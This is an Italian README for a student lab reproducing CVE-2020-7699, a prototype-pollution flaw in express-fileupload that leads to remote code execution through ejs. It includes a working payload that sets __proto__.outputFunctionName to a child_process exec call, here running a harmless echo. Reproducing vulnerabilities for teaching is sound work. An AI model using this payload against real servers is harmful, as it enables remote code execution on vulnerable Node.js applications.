
Riproduzione di CVE-2020-7699, progetto principale per il corso di Principi di Sicurezza del Software.
Riproduzione della vulnerabilità RCE in Node.js (CVE-2020-7699), mio lavoro di laboratorio
Versione Node.js: v14.16.1, assicurati che la versione di Node.js sia 14 (Altre versioni probabilmente funzioneranno, non ho testato)
Versione Python: 3.9.5, Python viene utilizzato solo per inviare richieste HTTP di attacco, nessuna versione specifica richiesta
Basta clone del repository, npm i per installare le dipendenze. Ho offerto 2 comandi aggiuntivi:
npm run start-server per avviare il server target (server vittima)npm run launch-attack per lanciare l'attaccoexpress-fileUpload: le versioni precedenti a 1.1.10 saranno vulnerabili
Vulnerabilità: express-fileUpload prototype pollution
Come sfruttarla: inquinare __proto__.outputFunctionName per scrivere il comando da eseguire. es. echo "ATTACCO RIUSCITO" > attacked.txt
exec_command = "echo \"ATTACCO RIUSCITO\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Vulnerabilità: ejs proverà ad eseguire xxx.outputFunctionName che è undefined, ma se object.outputFunctionName è inquinato, lo eseguirà invece